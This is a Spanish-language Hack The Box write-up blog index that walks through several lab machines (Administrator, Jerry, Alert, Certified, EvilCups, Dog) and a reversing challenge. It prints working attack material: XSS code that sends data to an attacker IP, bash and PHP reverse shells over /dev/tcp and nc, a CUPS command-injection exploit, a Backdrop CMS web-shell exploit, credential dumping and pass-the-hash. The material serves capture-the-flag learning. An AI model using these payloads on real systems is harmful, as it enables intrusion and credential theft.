/usr/share/wordlist/rockyou.txt Si miramos a qué grupos pertenece en BloodHound, podemos ver que pertenece al grupo de Domain Controllers.\nSi buscamos durante un rato, podemos encontrar que podemos escalar privilegios mediante un Credential Dumping https://redcanary.com/threat-detection-report/techniques/os-credential-dumping/, y lo podemos hacer con alguno de los siguientes comandos:\nimpacket-secretsdump -dc-ip 10.10.11.42 administrator.htb/ethan:limpbizkit@10.10.11.42 Esto nos va a mostrar los hashes de todos los usuarios, pero el que nos interesa es el del usuario Administrator. Entonces, con ese hash, vamos a iniciar sesión.\nevil-winrm -u administrator -H 3dc553ce4b9fd20bd016e098d2d2fd2e -i 10.10.11.42 ","date":"19 abril 2025","externalUrl":null,"permalink":"/htb/maquinas/administrator/","section":"Hack The Box","summary":"","title":"Administrator","type":"maquinas"},{"content":"","date":"19 abril 2025","externalUrl":null,"permalink":"/tags/dumping-de-credenciales/","section":"Tags","summary":"","title":"Dumping-De-Credenciales","type":"tags"},{"content":"","date":"29 marzo 2025","externalUrl":null,"permalink":"/tags/ltrace/","section":"Tags","summary":"","title":"Ltrace","type":"tags"},{"content":"","date":"29 marzo 2025","externalUrl":null,"permalink":"/tags/radar2/","section":"Tags","summary":"","title":"Radar2","type":"tags"},{"content":"En este caso vamos a resolver un reto de reversing bastante sencillo que se puede resolver de diferentes formas.\nDespués de descargar el archivo ZIP y descomprimirlo encontraremos un ejecutable de Linux que si tratamos de ejecutar nos pedirá aun contraseña por lo que ya podemos pensar que nuestra tarea va a ser encontrar esta contraseña a continuación mostraremos tres formas diferentes de hacerlo:\nLtrace # Si el ejecutable nos esta pidiendo una contraseña lo primero que tenemos que analizar es que esta contraseña esta en el ejecutable y además lo esta comparando con el input del usuario por lo que usando ltrace vamos a interceptar llamadas a funciones de bibliotecas compartidas depurando así la ejecución de la aplicación:\nVemos que esta comparando nuestro input con la cadena s3cr3t_p455_f0r_gh05t5_4nd_gh0ul pero si tratamos de ingresar esto como contraseña nos dirá que es errónea lo que podemos hacer es verificar las cadenas en texto claro del ejecutable usando strings de la siguiente forma:\nPor lo que nos estaba faltando un ultimo carácter que es el 5 ya si ingresamos esto podremos ver la flag para entregar en Hack The Box.\nRadare2 y Ghidra # Si bien son herramientas diferentes consisten en lo mismo en este caso, vamos a analizar la función main del archivo y encontrar la comparación que hacen con nuestro input. Primero lo vamos a hacer con radare2 y ya después mostraremos ghidra.\nAcá lo que estamos haciendo es mirar las funciones existentes en el ejecutable donde podemos observar esta el main incluido por lo que lo vamos a revisar mas a fondo de la siguiente manera:\nLo que hace esto es mostrarnos que esta haciendo el ejecutable a mas bajo nivel y si miramos un poco encontraremos tanto la flag como la contraseña entre la salida que nos mostro el comando pdf @main .\nPara ghidra toca hacer unos cuantos pasos mas pero podemos ver con mayor claridad esto, vamos a abrir la aplicación y vamos a crear un nuevo proyecto después de esto vamos a importar el ejecutable que descargamos de la pagina de Hack The Box, luego de esto vamos a arrastrar ese ejecutable al símbolo de dragón que hay arriba a la izquierda:\nYa con esto a la izquierda veremos un árbol de funciones por lo que si ingresamos a main veremos la contraseña de esta forma:\n","date":"29 marzo 2025","externalUrl":null,"permalink":"/htb/challenges/spookypass/","section":"Hack The Box","summary":"","title":"SpookyPass","type":"challenges"},{"content":" Descripción: # Maquina bastante sencilla que nos pide utilizar unas credenciales predeterminadas para explotar la carga y ejecucion de archivos war en tomcat\nEnumeración # Lo primero que vamos a hacer en esta maquina después de conectarnos a la VPN es mandar los siguientes dos comandos de nmap con el fin de identificar los puertos abiertos y los servicios junto con sus versiones de estos puertos:\nsudo nmap -p- --open --min-rate 5000 -sS -Pn -n 10.129.8.202 -oG allPorts #El segundo comando se envia especificando los puertos que el primero nos mostro abiertos #En este caso solo nos mostro el puerto 8080 nmap -p8080 -sVC -A {IP} -oN target Con el primer comando vamos a hacer un escaneo rápido principalmente porque con el segundo será mas exhaustivo lo que hace el primer comando es:\nsudo nmap -p- \u0026ndash;open \u0026ndash;min-rate 5000 -sS -Pn -n 10.129.8.202 -oG allPorts -p-: Escanea todos los puertos (1-65535). \u0026ndash;open: Solo muestra los puertos abiertos. \u0026ndash;min-rate 5000: Establece una tasa mínima de paquetes por segundo. -sS: Realiza un escaneo SYN \u0026ldquo;sigiloso\u0026rdquo;. -Pn: No hace ping (asume que el host está activo). -n: No realiza resolución DNS. -oG allPorts: Guarda la salida en formato grepeable en el archivo allPorts. Mientras que el segundo escaneo hace esto:\nnmap -p8080 -sVC -A {IP} -oN target -p8080: Escanea específicamente el puerto 8080. -sVC: Combina las opciones -sV (detección de versión) y -sC (scripts por defecto). -A: Habilita la detección de OS, versiones, scripts y traceroute. -oN target: Guarda la salida en formato normal en el archivo target. Despues de ejecutar estos dos podremos ver la siguiente salida:\nLo único que podemos ver con esto es que en el puerto 8080 esta corriendo un servicio http que esta usando Apache Tomcat .\nPuerto 8080 # Al ingresar a la pagina especificando en el navegador la IP y el puerto veremos esta pagina muy sencilla, si buscamos un poco lo único interesante que tendremos es el “Manager App” que nos pide usuario y contraseña, haciendo una rápida búsqueda de credenciales predeterminadas de apache encontramos varias probando nos daremos cuenta que funcionan tomcat:s3cret por lo que tendremos acceso a “Manager App”:\nSi leemos un poco lo que dice nos podremos dar cuenta que podemos subir y desplegar archivos WAR en la pagina.\nExplotación # Si buscamos como explotar un archivo WAR en Tomcat podremos hallar la siguiente pagina la cual nos explica como crear un archivo con una Shell reversa que podremos usar para conectarnos a la maquina Hack Tricks.\nVamos a hacer el paso a paso para poder acceder a la maquina:\n#Crear el archivo infectado git clone https://github.com/mgeeky/tomcatWarDeployer.git cd tomcatWarDeployer python3 tomcatWarDeployer.py -U \u0026lt;username\u0026gt; -P \u0026lt;password\u0026gt; -H \u0026lt;ATTACKER_IP\u0026gt; -p \u0026lt;ATTACKER_PORT\u0026gt; \u0026lt;VICTIM_IP\u0026gt;:\u0026lt;VICTIM_PORT\u0026gt;/manager/html/ #Ponernos en escucha por el puerto 4444 nc -lvnp 4444 Después de ejecutar estos comandos vamos a entrar a la pagina y subir el archivo para posteriormente oprimir el botón Deploy .\nUna vez hagamos esto nos debería aparecer algo parecido a lo siguiente:\nVamos a darle al botón Reload de la aplicación revshell con esto habremos ingresado a la maquina ya para obtener las dos flags para Hack The Box nos dirigiremos a:\nC:\\Users\\Administrator\\Desktop\\flags\n","date":"27 marzo 2025","externalUrl":null,"permalink":"/htb/maquinas/jerry/","section":"Hack The Box","summary":"","title":"Jerry","type":"maquinas"},{"content":"","date":"27 marzo 2025","externalUrl":null,"permalink":"/tags/tomcat/","section":"Tags","summary":"","title":"Tomcat","type":"tags"},{"content":"","date":"27 marzo 2025","externalUrl":null,"permalink":"/tags/war-file/","section":"Tags","summary":"","title":"WAR-File","type":"tags"},{"content":" Descripción: # Maquina en la cual se encuentra una visualizador de archivos Markdowns, vulnerable a xss cross site scripting, mediante una opcion para compartir los archivos .md subimos un codigo con la intencion de hacer un phishing y contactar con el administrador para enumerar información sensible.\nYa con un usuario y contraseña se realiza un escalamiento de privilegios mediante un port forwarding debido a un servicio que estaba corriendo como root.\nEnumeración # Con nmap vamos a revisar que puertos estan abiertos y que servicios estan corriendo.\nsudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.36.72 -oG allPorts nmap -sCV -p22,80 10.129.36.72 -oN target Podemos ver que en el puerto 80, en la segunda línea, nos aparece la URL del servicio HTTP, por lo que la vamos a agregar al archivo /etc/hosts junto con la IP para poder abrir la página.\nsudo nano /etc/hosts Vamos a buscar subdominios con un código de estado diferente a 301 utilizando la herramienta wfuzz.\nwfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H \u0026#34;Host: FUZZ.alert.htb\u0026#34; http://alert.htb/ | grep -v \u0026#34;301\u0026#34; Vemos que encontramos un subdominio, el cual también se debe agregar al archivo /etc/hosts como statistics.alert.htb.\nEn la página que está en el puerto 80, podemos subir archivos Markdown (.md) y enviar una solicitud al administrador.\nEn el subdominio nos pide una contraseña y no podemos ingrasar\nDespués de buscar, encontramos que podemos ejecutar algunas acciones mediante el archivo Markdown. Además, si subimos el archivo y oprimimos el botón de compartir, podemos enviarle el enlace del archivo a alguien mas.\nPodemos comprobar que funciona con una alert en JavaScript:\n\u0026lt;!-- XSS with regular tags --\u0026gt; \u0026lt;script\u0026gt;alert(1)\u0026lt;/script\u0026gt; \u0026lt;img src=x onerror=alert(1) /\u0026gt; Explotación xss # Podemos probar a obtener información de una de las rutas a las cuales no tenemos acceso, como messages.\n\u0026lt;script\u0026gt; fetch(\u0026#34;http://alert.htb/messages/\u0026#34;) // Realiza la solicitud GET .then(response =\u0026gt; response.text()) // Convierte la respuesta en texto .then(data =\u0026gt; { // Luego, realiza la solicitud POST con los datos obtenidos return fetch(\u0026#34;http://IP:4444/\u0026#34;, { method: \u0026#34;POST\u0026#34;, body: data // Envia los datos obtenidos en el cuerpo de la solicitud POST }); }) .then(response =\u0026gt; response.text()) // Espera la respuesta de la solicitud POST .then(result =\u0026gt; { console.log(result); // Muestra la respuesta de la solicitud POST }) .catch(error =\u0026gt; { console.error(\u0026#39;Error:\u0026#39;, error); // Maneja errores de las solicitudes }); \u0026lt;/script\u0026gt; Lo que vamos a hacer es intentar que el administrador abra el archivo por nosotros y nos envíe el contenido, utilizando el código anterior y con nc recibir la respuesta.\nDespués de subir el archivo, lo que hacemos es darle a \u0026lsquo;Compartir\u0026rsquo; y copiar la URL para luego preparar Netcat y enviar la solicitud al administrador.\nnc -lvnp 4444 Pero nos indica lo mismo: que no tenemos permisos.\nSi buscamos en Google archivos de configuración predeterminados para un servidor Apache, encontramos la siguiente ruta: /etc/apache2/sites-enabled/000-default.conf. Entonces, vamos a repetir lo anterior, cambiando la ruta por un archivo PHP llamado messages.php, seguido del archivo de configuración.\n\u0026lt;script\u0026gt; fetch(\u0026#34;http://alert.htb/messages.php?file=../../../../../../../../etc/apache2/sites-enabled/000-default.conf\u0026#34;) // Realiza la solicitud GET .then(response =\u0026gt; response.text()) // Convierte la respuesta en texto .then(data =\u0026gt; { // Luego, realiza la solicitud POST con los datos obtenidos return fetch(\u0026#34;http://IP:4444/\u0026#34;, { method: \u0026#34;POST\u0026#34;, body: data // Envia los datos obtenidos en el cuerpo de la solicitud POST }); }) .then(response =\u0026gt; response.text()) // Espera la respuesta de la solicitud POST .then(result =\u0026gt; { console.log(result); // Muestra la respuesta de la solicitud POST }) .catch(error =\u0026gt; { console.error(\u0026#39;Error:\u0026#39;, error); // Maneja errores de las solicitudes }); \u0026lt;/script\u0026gt; Vemos que hay una ruta a lo que podría ser un archivo con contraseñas llamado .htpasswd. Entonces, vamos a hacer el mismo proceso, pero con este nuevo archivo: http://alert.htb/messages.php?file=../../../var/www/statistics.alert.htb/.htpasswd\nY recibimos un archivo en el que, al parecer, está un usuario con su hash. Si quieren saber qué tipo de hash es, pueden buscar \u0026lsquo;Hash Identifier\u0026rsquo; y pegarlo, para descifrarlo vamos a usar el siguiente comando:\n# Comando para hashcat hashcat -m 1600 -a 0 pass.txt /usr/share/wordlists/rockyou.txt # Comando para John john --format=md5crypt-long --wordlist=/usr/share/wordlists/rockyou.txt hash.txt Y obtenemos la contraseña del usuario Albert.\nRoot # Nos conectamos como Albert mediante SSH.\nssh albert@IP Ya estando dentro del sistema, podemos observar dos cosas. Si usamos el comando id, veremos que nuestro usuario pertenece a un grupo peculiar: uid=1000(albert), gid=1000(albert), groups=1000(albert), 1001(management).\nHaciendo uso del siguiente comando, podremos buscar todos los archivos que tengan que ver con dicho grupo en específico.\nfind / -type f -group management 2\u0026gt;/dev/null La salida del comando anterior nos reporta que nuestro usuario tiene permisos completos en /opt/website-monitor/config/configuration.php.\nPor la ruta absoluta del archivo, podemos inferir que existe otro servicio web local (ya que no fue reportado en nuestro escaneo con nmap). Vemos los puertos internos en escucha con netstat -tuln:\nSi usamos ps aux, podremos observar que el servicio está corriendo como root, por lo que procedemos a hacer port forwarding (asegúrate de que tu puerto {port} no esté en uso).\nssh -L {port}:localhost:8080 albert@IP Después de revisar /opt/website-monitor/config/configuration.php más a detalle, resulta que nuestro usuario tiene permisos completos sobre toda la carpeta /config. A juzgar por lo simple de la aplicación, deberíamos poder acceder a cualquier archivo dentro del directorio /website-monitor. Con nuestros permisos de escritura en la carpeta /config, podemos crear un archivo con una revshell PHP alojado en dicha carpeta para obtener una shell como root.\n\u0026lt;?php exec(\u0026#34;/bin/bash -c \u0026#39;bash -i \u0026gt;/dev/tcp/{IP}/{PORT} 0\u0026gt;\u0026amp;1\u0026#39;\u0026#34;); ?\u0026gt; Para activar el archivo .php, solo es necesario ingresar su ruta en el navegador:\nhttp://localhost:{port}/config/payload.php.\n","date":"24 marzo 2025","externalUrl":null,"permalink":"/htb/maquinas/alert/","section":"Hack The Box","summary":"","title":"Alert","type":"maquinas"},{"content":"","date":"24 marzo 2025","externalUrl":null,"permalink":"/tags/apache-server/","section":"Tags","summary":"","title":"Apache-Server","type":"tags"},{"content":"","date":"24 marzo 2025","externalUrl":null,"permalink":"/tags/markdown-injection/","section":"Tags","summary":"","title":"Markdown-Injection","type":"tags"},{"content":"","date":"24 marzo 2025","externalUrl":null,"permalink":"/tags/xss/","section":"Tags","summary":"","title":"XSS","type":"tags"},{"content":" Descripción: # Maquina en la cual con las credenciales que nos proporcionan hacemos uso de bloodhund para poder cambiar de usuario usando la tecnica Shadow Credentials, para luego mediate de una herramienta encontrar la vulnerabilidad ESC9 y poder elevar privilegios.\nEnumeración # sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.41 -oG allPorts nmap -sCV -p53,88,135,389,445,464,593,636,3268,3269,5985,9389,49666,49668,49673,49674,49681,49714,49719,49770 10.10.11.41 -oN target Vamos a usar las credenciales que nos provee hack the box judith.mader / judith09, vamos a listar tanto servicios compartidos como usuarios con los dos siguientes comandos.\nxc smb 10.10.11.41 -d certified.htb -u judith.mader -p judith09 --shares nxc smb 10.10.11.41 -u judith.mader -p \u0026#39;judith09\u0026#39; --users Vamos a listar las configuraciones y los protocolos que se le aplican a la maquina con el comando:\nnxc smb 10.10.11.41 -u judith.mader -p \u0026#39;judith09\u0026#39; --pass-pol La enumeración de la política de contraseñas muestra que la longitud mínima de la contraseña es de 7 caracteres, la complejidad de la contraseña está desactivada (esto significa que los usuarios pueden elegir contraseñas cortas y débiles) y, lo más importante, la opción Account Lockout Threshold, lo que significa que podemos forzar la cuenta sin temer que se quede bloqueada.\nYa con esto queremos saber que grupos y usuarios hay creados por lo que vamos a usar ldapdomaindump para que nos muestre esto.\nldapdomaindump -u \u0026#39;certified.htb\\judith.mader\u0026#39; -p \u0026#39;judith09\u0026#39; 10.10.11.41 Bloodhund # Vamos a usar una herramienta llamada bloodhund que nos va a ayudar encontrar vulnerabilidades para saltar de un usuario a otro y hacer finalmente el escalamiento de privilegios. Para instalarlo y configurarlo seguir este paso a paso https://www.kali.org/tools/bloodhound/.\nbloodhound-python -u \u0026#39;judith.mader\u0026#39; -p \u0026#39;judith09\u0026#39; -ns 10.10.11.41 -d certified.htb -c all Despues de subir los archivos que nos genero el comando y buscar al usuario al cual tenemos acceso podemos ver que en Outbound Object Control tenemos la opción de saltar a otro usuario en este caso “management_scv**@certified.htb”.**\nAhora lo que vamos a hacer es seguir lo que nos dice bloodhund, descargamos los siguientes scripts:\nhttps://github.com/fortra/impacket/blob/master/examples/dacledit.py https://github.com/fortra/impacket/blob/master/examples/owneredit.py https://github.com/ShutdownRepo/pywhisker/blob/main/pywhisker/pywhisker.py python3 owneredit.py -action write -new-owner judith.mader -target management certified.htb/judith.mader:judith09 python3 dacledit.py -action \u0026#39;write\u0026#39; -rights \u0026#39;WriteMembers\u0026#39; -principal judith.mader -target Management certified.htb/judith.mader:judith09 net rpc group addmem management management -U certified.htb/judith.mader%judith09 -S certified.htb pth-net rpc group addmem management judith.mader -U certified.htb/judith.mader%37937096CA6E6E2209752A3293831D17:8EC62AC86259004C121A7DF4243A7A80 -S certified.htb Despues de esto lo que hemos hecho es agregar a judith al grupo management y ahora podemos modificar ls atributos de management_svc para verificar que todo se ha hecho ejecutamos el comando a continuacion.\nnet rpc group members management -U certified.htb/judith.mader%judith09 -S certified.htb Ahora para aplicar el ataque de shadow credentials vamos a usar una herramienta llamada certipy la cual vamos a instalar en un entorno virtual de python.\npython3 -m venv env source env/bin/activate pip3 install certipy-ad Si bien podriamos mandar el comando de certipy solamente es my probable que tengamos un error debido a que nuestra hora es diferente al de la maquina por lo que tambien vamos a usar faketime de la siguiente manera:\nfaketime \u0026#34;$(ntpdate -q certified.htb | cut -d \u0026#39; \u0026#39; -f 1,2)\u0026#34; certipy shadow auto -username judith.mader@certified.htb -p judith09 -account management_svc Ahora desde bloodhund podemos ver que podemos cambiar hacia el usuario ca_operator con un GenericAll por lo que vamos a seguir lo que nos dice.\npth-net rpc password ca_operator \u0026#34;nueva contraseña\u0026#34; -U certified.htb/management_svc%ffffffffffffffffffffffffffffffff:a091c1832bcdd4677c28b5a6a1295584 -S certified.htb Con esto le hemos cambiado la contraseña a el usuario ca_operator ahora vamos a tratar de encontrar alguna otra vulnerabilidad usando certipy de nuevo.\ncertipy find -dc-ip 10.10.11.41 -u ca_operator -p \u0026#34;nueva contraseña\u0026#34; Abriendo el txt que nos deja este comando en la parte de certipy templates podemos ver una vulnerabilidad ESC9\nVamo a irnos a esta pagina para que nos de el hash de la contraseña que le asignamos https://www.browserling.com/tools/ntlm-hash y luego vamos a ejecutar los siguientes comandos para explotar el ESC9\ncertipy account update -username management_svc@certified.htb -hashes \u0026#34;hash management_svc\u0026#34; -user ca_operator -upn administrator certipy req -username ca_operator@certified.htb -hashes \u0026#34;hash nueva contraseña\u0026#34; -ca certified-DC01-CA -template CertifiedAuthentication -debug \u0002\nRevertimos lo que hemos hecho con el usuario ca_operator para que cuando busqeumos el hash de administrator lo halle:\ncertipy account update -username management_svc@certified.htb -hashes \u0026#34;hash management_svc\u0026#34; -user ca_operator -upn ca_operator@certified.htb Y finalmente buscamos el hash del administrator con el siguiente comando teniendo en cuenta los problemas de hora que puede tener la maquina.\ncertipy auth -pfx administrator.pfx -domain certified.htb Finalmente con el hash del administrator vamos a conseguir una shell y ya podremos encontrar las dos flags:\nevil-winrm -i 10.10.11.41 -u Administrator -H 0d5b49608bbce1751f708748f67e2d34 ","date":"16 marzo 2025","externalUrl":null,"permalink":"/htb/maquinas/certified/","section":"Hack The Box","summary":"","title":"Certified","type":"maquinas"},{"content":"","date":"16 marzo 2025","externalUrl":null,"permalink":"/tags/esc9/","section":"Tags","summary":"","title":"ESC9","type":"tags"},{"content":"","date":"16 marzo 2025","externalUrl":null,"permalink":"/tags/impacket/","section":"Tags","summary":"","title":"Impacket","type":"tags"},{"content":"","date":"16 marzo 2025","externalUrl":null,"permalink":"/tags/netexec/","section":"Tags","summary":"","title":"Netexec","type":"tags"},{"content":" Descripción: # Maquina que nos pide explotar un CVE de el servicio CUPS donde podemos obtener una shell, el escalamiento es simplemente leer la documentación del servicio y leer un archivo descubriendo su nombre\nEnumeración # sudo nmap -p- --min-rate 5000 -Pn -n --open -sS [IP] -oG allPorts nmap -p22,601 -sVC -A [IP] -oN target Si hacemos una rápida búsqueda de puerto 631 encontraremos que además de mencionar el puerto TCP también mencionan el puerto pero en UDP, debido a esto vamos a escanear también este protocolo.\nnmap -sU -p631 [IP] CUPS - TCP 631 # Cups tiene una GUI para ayudar al uso de su servicio.\nPodemos ver que hay una impresora instalada en el servicio.\nUsuario # CUPS CVE’S # Buscando por la versión del servicio vamos a hallar diferentes vulnerabilidades que hay para este:\nCVE-2024-47176 - cups-browsed, el servicio que típicamente escucha en todas las interfaces UDP 631, es el que permite agregar una impresora a una máquina de forma remota. Esta vulnerabilidad permite que cualquier atacante que pueda alcanzar esta máquina active una solicitud \u0026ldquo;Get-Printer-Attributes\u0026rdquo; del Protocolo de Impresión por Internet (IPP) que se envía a una URL controlada por el atacante. Esto se corrigió simplemente deshabilitando cups-browsed ya que no es realmente la mejor manera de obtener esta funcionalidad. CVE-2024-47076 - libcupsfilters es responsable de manejar los atributos IPP devueltos de la solicitud. Estos se escriben en un archivo temporal de Descripción de Impresora Postscript (PPD) sin sanitización, permitiendo que se escriban atributos maliciosos. CVE-2024-47175 - libppd es responsable de leer un archivo PPD temporal y convertirlo en un objeto de impresora en el sistema. Tampoco realiza sanitización durante la lectura, permitiendo la inyección de datos controlados por el atacante. CVE-2024-47177 - Esta vulnerabilidad en cups-filters permite cargar una impresora usando el filtro de impresión foomatic-rip, que es un convertidor universal para transformar datos PostScript o PDF al formato que la impresora puede entender. Ha tenido problemas de inyección de comandos durante mucho tiempo y se ha limitado solo a instalaciones y configuraciones manuales. Combinando estas cuatro vulnerabilidades podremos agregar una impresora y ejecutar comandos cuando imprimamos desde esta.\nExplotación # El creador de la maquina tiene una script que nos va a ayudar a resolver esta maquina.\nLa función __main__ nos da una buena idea de que hace el script:\nif __name__ == \u0026#34;__main__\u0026#34;: if len(sys.argv) != 4: print(\u0026#34;%s \u0026lt;LOCAL_HOST\u0026gt; \u0026lt;TARGET_HOST\u0026gt; \u0026lt;COMMAND\u0026gt;\u0026#34; % sys.argv[0]) quit() SERVER_HOST = sys.argv[1] SERVER_PORT = 12345 command = sys.argv[3] server = IPPServer((SERVER_HOST, SERVER_PORT), IPPRequestHandler, MaliciousPrinter(command)) threading.Thread( target=run_server, args=(server, ) ).start() TARGET_HOST = sys.argv[2] TARGET_PORT = 631 send_browsed_packet(TARGET_HOST, TARGET_PORT, SERVER_HOST, SERVER_PORT) print(\u0026#34;Please wait this normally takes 30 seconds...\u0026#34;) seconds = 0 while True: print(f\u0026#34;\\r{seconds} elapsed\u0026#34;, end=\u0026#34;\u0026#34;, flush=True) time.sleep(1) seconds += 1 Al leer el script nos damos cuenta que lo que esta haciendo es montar un servidor ipp y mandarle un paquete, vamos a revisar en donde se vuelve malicioso el paquete que envía ya que todos los atributos son normales menos el ultimo donde hace una inyección pasándole FoomaticRIPCommandLine.\nclass MaliciousPrinter(behaviour.StatelessPrinter): def __init__(self, command): self.command = command super(MaliciousPrinter, self).__init__() def printer_list_attributes(self): attr = { # rfc2911 section 4.4 ( SectionEnum.printer, b\u0026#39;printer-uri-supported\u0026#39;, TagEnum.uri ): [self.printer_uri], ( ...[snip]... ( SectionEnum.printer, b\u0026#39;printer-more-info\u0026#39;, TagEnum.uri ): [f\u0026#39;\u0026#34;\\n*FoomaticRIPCommandLine: \u0026#34;{self.command}\u0026#34;\\n*cupsFilter2 : \u0026#34;application/pdf application/vnd.cups-postscript 0 foomatic-rip\u0026#39;.encode()], ...[snip]... Agregar la impresora # Para esto vamos a ejecutar el script de la siguiente forma:\npython evilcups.py 10.10.14.152 10.129.231.157 \u0026#39;bash -c \u0026#34;bash -i \u0026gt;\u0026amp; /dev/tcp/IP/4444 0\u0026gt;\u0026amp;1\u0026#34;\u0026#39; Y si vamos a la pagina http que tiene el servicio a la parte de impresoras tendremos una nueva impresora:\nListo ahora es el momento de probar si ejecuta comandos:\n# Nos ponemos en escucha nc -lvnp 4444 En la pagina de la impresora en la sección de mantenimiento podemos imprimir una pagina de prueba con esto conseguiremos la shell y la flag.\nUna mejor shell para enviar seria nohup bash -c \u0026quot;bash -i \u0026gt;\u0026amp; /dev/tcp/IP/4444 0\u0026gt;\u0026amp;1\u0026quot;\u0026amp;, ya que inicia un proceso en segundo plano, para evitar que la shell se pierda cada 5 minutos aproximadamente cuando al impresora se elimina.\nRoot # Primero hacemos el tratamiento de la tty como acostumbramos:\nAquí está el tratamiento típico de la TTY:\nscript /dev/null -c bash Ctrl + Z stty raw -echo; fg reset xterm export TERM=xterm Listo después de listar por un rato no encontré nada interesante por lo que me devolví a la web y vi que la impresora que siempre esta presente tenia un trabajo que había realizado así que revisando la documentación nos dimos cuenta que estos trabajos se guardan en /var/spool/cups/ y si bien no podemos listar dentro del directorio por medio de la documentación sabemos el nombre del archivo que es d[5 números]-001 por lo tanto si ejecutamos el siguiente comando veremos el archivo:\ncat d00001-001 Entonces vamos a mandarnos este archivo a nuestra maquina para enviar el archivo vamos a usar /dev/tcp podemos hacer:\n# En nuestra maquina nc -lvnp 4444 \u0026gt; archivo.pdf # En la maquina victima cat d00001-001 \u0026gt; /dev/tcp/TU_IP/4444 De esta forma el archivo se transferirá a nuestra máquina a través de una conexión TCP en el puerto 4444.\nY si abrimos este pdf en nuestra maquina tendremos la contraseña para root:\nSi quieres aprender mas sobre el CVE que se exploto tienes estas referencias:\nhttps://www.hackthebox.com/blog/cve-2024-47176-cups-vulnerability-explained https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/ ","date":"11 marzo 2025","externalUrl":null,"permalink":"/htb/maquinas/evilcups/","section":"Hack The Box","summary":"","title":"EvilCups","type":"maquinas"},{"content":"","date":"11 marzo 2025","externalUrl":null,"permalink":"/tags/rce/","section":"Tags","summary":"","title":"RCE","type":"tags"},{"content":"","date":"8 marzo 2025","externalUrl":null,"permalink":"/tags/backdrop/","section":"Tags","summary":"","title":"Backdrop","type":"tags"},{"content":"","date":"8 marzo 2025","externalUrl":null,"permalink":"/tags/bee/","section":"Tags","summary":"","title":"Bee","type":"tags"},{"content":" Descripción # Maquina sencilla en la que por medio de un git encontramos credenciales para poder luego hacer uso de un exploit con el cual obtendremos ejecucion de comandos para luego reusar las credenciales con los usuarios que podremos listar, para el root fue explotacion de un binario muy sencillo.\nEnumeración # sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn IP -oG allports sudo nmap -sCV -p22,80 \u0026#34;$ip_target\u0026#34; -A -oN target Encontramos un git por lo que vamos a usar git-dumper y tratar de restaurar el git, pero primero vamos a instalar la herramienta.\npipx install git-dumper git-dumper http://IP/.git git cd git git reset --hard cat settings.php Y ahí tendremos una contraseña:\nPara hallar usuarios validos lo vamos a hacer tambien en el git usando grep de la siguiente forma:\ngrep -r -i -l \u0026#39;@dog.htb\u0026#39; . 2\u0026gt;/dev/null Puerto 80 # Ahora con ese usuario y contraseña podemos ingresar, si miramos por la pagina encontraremos la verison en el link http://IP/?q=admin/reports/updates\nY si buscamos encontraremos una vulnerabilidad de esta version Exploit.\nExploit # Vamos a modificar el script para que en vez de .zip nos lo guarde en el formato aceptado .tar.gz\nimport os import time import tarfile def create_files(): info_content = \u0026#34;\u0026#34;\u0026#34; type = module name = Block description = Controls the visual building blocks a page is constructed with. Blocks are boxes of content rendered into an area, or region, of a\u0026lt;a href=\u0026#34;https://imgur.com/4H7qVEl\u0026#34;\u0026gt;\u0026lt;img src=\u0026#34;https://i.imgur.com/4H7qVEl.png\u0026#34; title=\u0026#34;source: imgur.com\u0026#34; /\u0026gt;\u0026lt;/a\u0026gt; web page. package = Layouts tags[] = Blocks tags[] = Site Architecture version = BACKDROP_VERSION backdrop = 1.x configure = admin/structure/block ; Added by Backdrop CMS packaging script on 2024-03-07 project = backdrop version = 1.27.1 timestamp = 1709862662 \u0026#34;\u0026#34;\u0026#34; shell_info_path = \u0026#34;shell/shell.info\u0026#34; os.makedirs(os.path.dirname(shell_info_path), exist_ok=True) # Crea el directorio with open(shell_info_path, \u0026#34;w\u0026#34;) as file: file.write(info_content) shell_content = \u0026#34;\u0026#34;\u0026#34; \u0026lt;html\u0026gt; \u0026lt;body\u0026gt; \u0026lt;form method=\u0026#34;GET\u0026#34; name=\u0026#34;\u0026lt;?php echo basename($_SERVER[\u0026#39;PHP_SELF\u0026#39;]); ?\u0026gt;\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;TEXT\u0026#34; name=\u0026#34;cmd\u0026#34; autofocus id=\u0026#34;cmd\u0026#34; size=\u0026#34;80\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;SUBMIT\u0026#34; value=\u0026#34;Execute\u0026#34;\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;pre\u0026gt; \u0026lt;?php if(isset($_GET[\u0026#39;cmd\u0026#39;])) { system($_GET[\u0026#39;cmd\u0026#39;]); } ?\u0026gt; \u0026lt;/pre\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; \u0026#34;\u0026#34;\u0026#34; shell_php_path = \u0026#34;shell/shell.php\u0026#34; with open(shell_php_path, \u0026#34;w\u0026#34;) as file: file.write(shell_content) return shell_info_path, shell_php_path def create_tar(info_path, php_path): tar_filename = \u0026#34;shell.tar.gz\u0026#34; with tarfile.open(tar_filename, \u0026#39;w:gz\u0026#39;) as tarf: tarf.add(info_path, arcname=\u0026#39;shell/shell.info\u0026#39;) tarf.add(php_path, arcname=\u0026#39;shell/shell.php\u0026#39;) return tar_filename def main(url): print(\u0026#34;Backdrop CMS 1.27.1 - Remote Command Execution Exploit\u0026#34;) time.sleep(3) print(\u0026#34;Evil module generating...\u0026#34;) time.sleep(2) info_path, php_path = create_files() tar_filename = create_tar(info_path, php_path) print(\u0026#34;Evil module generated!\u0026#34;, tar_filename) time.sleep(2) print(\u0026#34;Go to \u0026#34; + url + \u0026#34;/admin/modules/install and upload the \u0026#34; + tar_filename + \u0026#34; for Manual Installation.\u0026#34;) time.sleep(2) print(\u0026#34;Your shell address:\u0026#34;, url + \u0026#34;/modules/shell/shell.php\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: import sys if len(sys.argv) \u0026lt; 2: print(\u0026#34;Usage: python script.py [url]\u0026#34;) else: main(sys.argv[1]) Vamos a usar la siguiente revshell:\n#Nuestra maquina nc -lvnp 4444 #Pagina rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2\u0026gt;\u0026amp;1|nc IP 4444 \u0026gt;/tmp/f Usuario # Si listamos usuarios en el home veremos dos usuarios:\nUsando de nuevo la contraseña que teniamos 